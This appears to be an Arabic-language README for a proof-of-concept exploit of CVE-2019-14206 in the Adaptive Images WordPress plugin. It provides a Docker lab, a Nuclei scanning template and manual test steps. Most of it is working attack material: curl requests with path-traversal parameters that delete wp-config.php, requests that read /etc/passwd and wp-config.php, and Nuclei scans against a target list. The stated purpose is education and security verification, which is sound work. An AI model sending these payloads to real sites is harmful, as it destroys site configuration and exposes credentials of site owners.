
استغلال إثبات المفهوم لـ CVE-2019-14206، يوضح حذف ملفات عشوائي في إضافة Adaptive Images لووردبريس. يتضمن مختبر Docker، قالب Nuclei، ونصوص اختبار يدوية للتعليم والتحقق الأمني.
CVE-ID: CVE-2019-14206
الخطورة: عالية (CVSS 6.5)
الإضافة المتأثرة: Adaptive Images لووردبريس
الإصدارات المتأثرة: < 0.6.67
تسمح هذه الثغرة لمهاجم عن بعد غير مصادق بحذف ملفات تعسفية على خادم ووردبريس من خلال استغلال إضافة Adaptive Images.
// الإضافة تستخدم إدخال المستخدم دون تطهير
$settings = $_REQUEST['adaptive-images-settings'];
// بناء مسار الملف بمعلمات يتحكم بها المهاجم
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// حذف ملف تعسفي
unlink($cache_file);
# التحقق من Nuclei
nuclei --version
# التحقق من Bash
bash --version
# التحقق من curl
curl --version
# التحقق من PHP (اختياري)
php --version 2>/dev/null || echo "PHP غير متوفر (اختياري)"
# إذا كنت في دليل nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# أو تحميل الملفات المطلوبة
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# التحقق من وجود الملفات
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
قم بتنفيذ العرض التوضيحي الكامل الذي يحاكي الاستغلال بأكمله:
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
ما يحدث:
الإخراج المتوقع:
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# إذا كان Docker يعمل
docker-compose up -d
# إذا كان Docker لا يعمل، استخدم المحاكي
./docker-test-full.sh
# ستكون البيئة متاحة على
# http://localhost:8888
# التحقق من وجود السكريبت الضعيف
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# اختبار LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# اختبار حذف الملف
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# التحقق من حذف wp-config.php
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# إنشاء ملف الأهداف
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# مسح أساسي
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# مسح مفصّل
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# مسح مع التصحيح (إلزامي لـ bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# حفظ النتائج
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# عرض النتائج
cat results.txt
# النتائج الإيجابية ستكون:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# محاولة قراءة /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# محاولة قراءة wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
النتيجة المتوقعة (LFI):
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# التحقق من وجود wp-config.php قبل
ls -la wp-config.php
# تنفيذ الاستغلال
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# التحقق من حذف wp-config.php بعد
ls -la wp-config.php
النتيجة المتوقعة (حذف الملف):
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found
# إزالة بيئة Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null
# إزالة ملفات الاختبار
rm -rf docker-test/
rm -f targets.txt results.txt
# استعادة wp-config.php إذا تم حذفه
cat > wp-config.php << 'EOF'
<?php
// ملف مستعاد
define('DB_NAME', 'wordpress');
EOF
# إزالة نتائج المسح
rm -f results.txt
# مسح الذاكرة المؤقتة (اختياري)
nuclei -rm-cache